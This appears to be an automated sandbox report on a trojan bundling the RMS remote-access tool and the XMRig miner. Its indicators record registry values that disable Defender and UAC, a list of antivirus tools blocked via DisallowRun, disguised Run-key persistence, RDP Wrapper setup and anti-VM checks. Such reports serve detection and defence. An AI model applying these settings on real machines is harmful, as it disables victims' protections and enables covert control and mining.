rms | cde3720e9c1d758e606495f4eb216e165e0e2bbe80c9018f32287ae31f553693

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1"	update.exe

Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs

Hidden Files and Directories

T1158

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	taskhost.exe

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 3632 created 1972	3632	svchost.exe	123
PID 3632 created 4712	3632	svchost.exe	232

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	update.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs

Query Registry

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	taskhost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	MicrosoftHost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	audiodg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	update.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	GameGuard.exe

XMRig Miner payload 7 IoCs

miner

resource	yara_rule
behavioral2/memory/4528-317-0x00007FF60F0D0000-0x00007FF610478000-memory.dmp	xmrig
behavioral2/memory/4528-318-0x00007FF60F0D0000-0x00007FF610478000-memory.dmp	xmrig
behavioral2/memory/4528-319-0x00007FF60F0D0000-0x00007FF610478000-memory.dmp	xmrig
behavioral2/memory/4528-320-0x00007FF60F0D0000-0x00007FF610478000-memory.dmp	xmrig
behavioral2/memory/4528-321-0x00007FF60F0D0000-0x00007FF610478000-memory.dmp	xmrig
behavioral2/memory/4528-322-0x00007FF60F0D0000-0x00007FF610478000-memory.dmp	xmrig
behavioral2/memory/4528-325-0x00007FF60F0D0000-0x00007FF610478000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
31	4660	cmd.exe
33	4660	cmd.exe

Blocks application from running via registry modification 27 IoCs

Adds application to list of disallowed applications.

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\20 = "MBSetup.exe"	update.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	update.exe
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\7 = "ESETOnlineScanner_RUS.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\25 = "TDSSKiller.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "avast_free_antivirus_setup_online.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\11 = "Cube.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\15 = "cureit.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\16 = "FRST64.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\24 = "Cureit.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\6 = "ESETOnlineScanner_UKR.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\13 = "AV_br.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\10 = "Cezurity_Scanner_Pro_Free.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\12 = "AVbr.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\17 = "eset_internet_security_live_installer.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\18 = "esetonlinescanner.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\5 = "hitmanpro_x64.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\19 = "eset_nod32_antivirus_live_installer.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "eav_trial_rus.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\14 = "KVRT.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\21 = "PANDAFREEAV.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\3 = "eis_trial_rus.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\9 = "360TS_Setup_Mini.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\22 = "bitdefender_avfree.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\4 = "essf_trial_rus.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\8 = "HitmanPro.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\23 = "drweb-12.0-ss-win.exe"	update.exe

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cmd.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	update.exe

Executes dropped EXE 24 IoCs

pid	Process
4188	Game.exe
2288	svchost.exe
4660	cmd.exe
3260	smss.exe
5068	GameGuard.exe
4992	taskhost.exe
1972	winserv.exe
1240	winserv.exe
1560	RDPWinst.exe
1648	winserv.exe
4948	Packs.exe
4452	winserv.exe
3520	sc.exe
4780	start.exe
2876	audiodg.exe
1092	rundll.exe
4528	MicrosoftHost.exe
1280	system.exe
3204	Eternalblue-2.2.0.exe
4292	system.exe
3668	winserv.exe
4712	winserv.exe
5016	winserv.exe
880	winserv.exe

Modifies Windows Firewall 1 TTPs 7 IoCs

Modify Existing Service

T1031

pid	Process
3732	netsh.exe
1632	netsh.exe
2228	netsh.exe
3168	netsh.exe
4472	netsh.exe
1828	netsh.exe
4716	netsh.exe

Registers new Print Monitor 2 TTPs 12 IoCs

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\WSD Port\Adapters\IPP	spoolsv.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\WSD Port\Adapters\WSPrint	spoolsv.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\WSD Port\Adapters\WSPrint\OfflinePorts	spoolsv.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\Appmon	spoolsv.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\USB Monitor	spoolsv.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\Microsoft Shared Fax Monitor	spoolsv.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\Standard TCP/IP Port	spoolsv.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\Standard TCP/IP Port\Ports	spoolsv.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\WSD Port	spoolsv.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\WSD Port\Ports	spoolsv.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\Appmon\Ports	spoolsv.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\Local Port	spoolsv.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\RDP Wrapper\\rdpwrap.dll"	RDPWinst.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000022e79-276.dat	upx
behavioral2/memory/4780-300-0x00007FF6FBB80000-0x00007FF6FBC84000-memory.dmp	upx

Checks BIOS information in registry 2 TTPs 10 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	audiodg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	GameGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	taskhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	taskhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MicrosoftHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	GameGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MicrosoftHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	audiodg.exe

Checks computer location settings 2 TTPs 9 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	smss.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	svchost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	Game.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	winserv.exe

Loads dropped DLL 13 IoCs

pid	Process
2128	svchost.exe
1280	system.exe
3204	Eternalblue-2.2.0.exe
3204	Eternalblue-2.2.0.exe
3204	Eternalblue-2.2.0.exe
3204	Eternalblue-2.2.0.exe
3204	Eternalblue-2.2.0.exe
3204	Eternalblue-2.2.0.exe
3204	Eternalblue-2.2.0.exe
3204	Eternalblue-2.2.0.exe
3204	Eternalblue-2.2.0.exe
3204	Eternalblue-2.2.0.exe
4292	system.exe

Modifies file permissions 1 TTPs 13 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5052	icacls.exe
4360	icacls.exe
4836	icacls.exe
4024	icacls.exe
2448	icacls.exe
2220	icacls.exe
4712	icacls.exe
1480	icacls.exe
3080	icacls.exe
1316	icacls.exe
4184	icacls.exe
3560	icacls.exe
1480	icacls.exe

Themida packer 45 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/memory/2088-132-0x00007FF634240000-0x00007FF638503000-memory.dmp	themida
behavioral2/memory/2088-134-0x00007FF634240000-0x00007FF638503000-memory.dmp	themida
behavioral2/memory/2088-135-0x00007FF634240000-0x00007FF638503000-memory.dmp	themida
behavioral2/memory/2088-136-0x00007FF634240000-0x00007FF638503000-memory.dmp	themida
behavioral2/memory/2088-137-0x00007FF634240000-0x00007FF638503000-memory.dmp	themida
behavioral2/memory/2088-138-0x00007FF634240000-0x00007FF638503000-memory.dmp	themida
behavioral2/memory/2088-140-0x00007FF634240000-0x00007FF638503000-memory.dmp	themida
behavioral2/memory/2088-139-0x00007FF634240000-0x00007FF638503000-memory.dmp	themida
behavioral2/memory/2088-141-0x00007FF634240000-0x00007FF638503000-memory.dmp	themida
behavioral2/memory/2088-142-0x00007FF634240000-0x00007FF638503000-memory.dmp	themida
behavioral2/files/0x0009000000022e48-172.dat	themida
behavioral2/files/0x0009000000022e48-173.dat	themida
behavioral2/files/0x0007000000022e4a-175.dat	themida
behavioral2/files/0x0007000000022e4a-176.dat	themida
behavioral2/memory/5068-178-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp	themida
behavioral2/memory/5068-179-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp	themida
behavioral2/memory/5068-180-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp	themida
behavioral2/memory/5068-181-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp	themida
behavioral2/memory/5068-183-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp	themida
behavioral2/memory/4992-185-0x00007FF660660000-0x00007FF663982000-memory.dmp	themida
behavioral2/memory/5068-187-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp	themida
behavioral2/memory/5068-184-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp	themida
behavioral2/memory/5068-189-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp	themida
behavioral2/memory/4992-198-0x00007FF660660000-0x00007FF663982000-memory.dmp	themida
behavioral2/memory/4992-201-0x00007FF660660000-0x00007FF663982000-memory.dmp	themida
behavioral2/memory/4992-205-0x00007FF660660000-0x00007FF663982000-memory.dmp	themida
behavioral2/memory/4992-214-0x00007FF660660000-0x00007FF663982000-memory.dmp	themida
behavioral2/memory/4992-222-0x00007FF660660000-0x00007FF663982000-memory.dmp	themida
behavioral2/memory/4992-233-0x00007FF660660000-0x00007FF663982000-memory.dmp	themida
behavioral2/memory/4992-242-0x00007FF660660000-0x00007FF663982000-memory.dmp	themida
behavioral2/memory/4992-249-0x00007FF660660000-0x00007FF663982000-memory.dmp	themida
behavioral2/memory/5068-237-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp	themida
behavioral2/memory/2088-257-0x00007FF634240000-0x00007FF638503000-memory.dmp	themida
behavioral2/files/0x0007000000022e6b-270.dat	themida
behavioral2/files/0x0007000000022e6b-277.dat	themida
behavioral2/memory/2876-301-0x00007FF663650000-0x00007FF66456C000-memory.dmp	themida
behavioral2/memory/2876-328-0x00007FF663650000-0x00007FF66456C000-memory.dmp	themida
behavioral2/memory/2876-329-0x00007FF663650000-0x00007FF66456C000-memory.dmp	themida
behavioral2/memory/2876-330-0x00007FF663650000-0x00007FF66456C000-memory.dmp	themida
behavioral2/memory/2876-331-0x00007FF663650000-0x00007FF66456C000-memory.dmp	themida
behavioral2/memory/2876-333-0x00007FF663650000-0x00007FF66456C000-memory.dmp	themida
behavioral2/memory/2876-334-0x00007FF663650000-0x00007FF66456C000-memory.dmp	themida
behavioral2/memory/2876-335-0x00007FF663650000-0x00007FF66456C000-memory.dmp	themida
behavioral2/memory/2876-336-0x00007FF663650000-0x00007FF66456C000-memory.dmp	themida
behavioral2/memory/2876-339-0x00007FF663650000-0x00007FF66456C000-memory.dmp	themida

Adds Run key to start application 2 TTPs 5 IoCs

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	update.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio = "C:\\ProgramData\\RealtekHD\\taskhost.exe"	update.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Plex Media Server = "C:\\ProgramData\\Windows Tasks Service\\winserv.exe"	update.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	taskhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio = "C:\\ProgramData\\RealtekHD\\taskhost.exe"	taskhost.exe

Checks whether UAC is enabled 1 TTPs 6 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	update.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	GameGuard.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	MicrosoftHost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	audiodg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	update.exe

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Scanning
T1046
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	ip-api.com
49	ip-api.com

Modifies WinLogon 2 TTPs 3 IoCs

Winlogon Helper DLL

T1004

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\John = "0"	update.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	update.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	update.exe

AutoIT Executable 37 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/memory/2088-135-0x00007FF634240000-0x00007FF638503000-memory.dmp	autoit_exe
behavioral2/memory/2088-136-0x00007FF634240000-0x00007FF638503000-memory.dmp	autoit_exe
behavioral2/memory/2088-137-0x00007FF634240000-0x00007FF638503000-memory.dmp	autoit_exe
behavioral2/memory/2088-138-0x00007FF634240000-0x00007FF638503000-memory.dmp	autoit_exe
behavioral2/memory/2088-140-0x00007FF634240000-0x00007FF638503000-memory.dmp	autoit_exe
behavioral2/memory/2088-139-0x00007FF634240000-0x00007FF638503000-memory.dmp	autoit_exe
behavioral2/memory/2088-141-0x00007FF634240000-0x00007FF638503000-memory.dmp	autoit_exe
behavioral2/memory/2088-142-0x00007FF634240000-0x00007FF638503000-memory.dmp	autoit_exe
behavioral2/files/0x0008000000022e4b-166.dat	autoit_exe
behavioral2/files/0x0008000000022e4b-167.dat	autoit_exe
behavioral2/files/0x0007000000022e4c-170.dat	autoit_exe
behavioral2/files/0x0007000000022e4c-169.dat	autoit_exe
behavioral2/memory/5068-179-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp	autoit_exe
behavioral2/memory/5068-180-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp	autoit_exe
behavioral2/memory/5068-181-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp	autoit_exe
behavioral2/memory/5068-183-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp	autoit_exe
behavioral2/memory/5068-187-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp	autoit_exe
behavioral2/memory/5068-184-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp	autoit_exe
behavioral2/memory/5068-189-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp	autoit_exe
behavioral2/memory/4992-201-0x00007FF660660000-0x00007FF663982000-memory.dmp	autoit_exe
behavioral2/memory/4992-205-0x00007FF660660000-0x00007FF663982000-memory.dmp	autoit_exe
behavioral2/memory/4992-214-0x00007FF660660000-0x00007FF663982000-memory.dmp	autoit_exe
behavioral2/memory/4992-222-0x00007FF660660000-0x00007FF663982000-memory.dmp	autoit_exe
behavioral2/memory/4992-233-0x00007FF660660000-0x00007FF663982000-memory.dmp	autoit_exe
behavioral2/memory/4992-242-0x00007FF660660000-0x00007FF663982000-memory.dmp	autoit_exe
behavioral2/memory/4992-249-0x00007FF660660000-0x00007FF663982000-memory.dmp	autoit_exe
behavioral2/memory/5068-237-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp	autoit_exe
behavioral2/memory/2088-257-0x00007FF634240000-0x00007FF638503000-memory.dmp	autoit_exe
behavioral2/memory/4780-300-0x00007FF6FBB80000-0x00007FF6FBC84000-memory.dmp	autoit_exe
behavioral2/memory/2876-329-0x00007FF663650000-0x00007FF66456C000-memory.dmp	autoit_exe
behavioral2/memory/2876-330-0x00007FF663650000-0x00007FF66456C000-memory.dmp	autoit_exe
behavioral2/memory/2876-331-0x00007FF663650000-0x00007FF66456C000-memory.dmp	autoit_exe
behavioral2/memory/2876-333-0x00007FF663650000-0x00007FF66456C000-memory.dmp	autoit_exe
behavioral2/memory/2876-334-0x00007FF663650000-0x00007FF66456C000-memory.dmp	autoit_exe
behavioral2/memory/2876-335-0x00007FF663650000-0x00007FF66456C000-memory.dmp	autoit_exe
behavioral2/memory/2876-336-0x00007FF663650000-0x00007FF66456C000-memory.dmp	autoit_exe
behavioral2/memory/2876-339-0x00007FF663650000-0x00007FF66456C000-memory.dmp	autoit_exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\rfxvmt.dll	RDPWinst.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
2088	update.exe
5068	GameGuard.exe
4992	taskhost.exe
4528	MicrosoftHost.exe
2876	audiodg.exe

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Microsoft JDX	GameGuard.exe
File opened for modification	C:\Program Files\RDP Wrapper	smss.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.ini	smss.exe
File opened for modification	C:\Program Files\RDP Wrapper\rdpwrap.ini	smss.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.ini	RDPWinst.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.dll	RDPWinst.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1784	sc.exe
3520	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	spoolsv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\HardwareID	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0002	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0002	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	spoolsv.exe
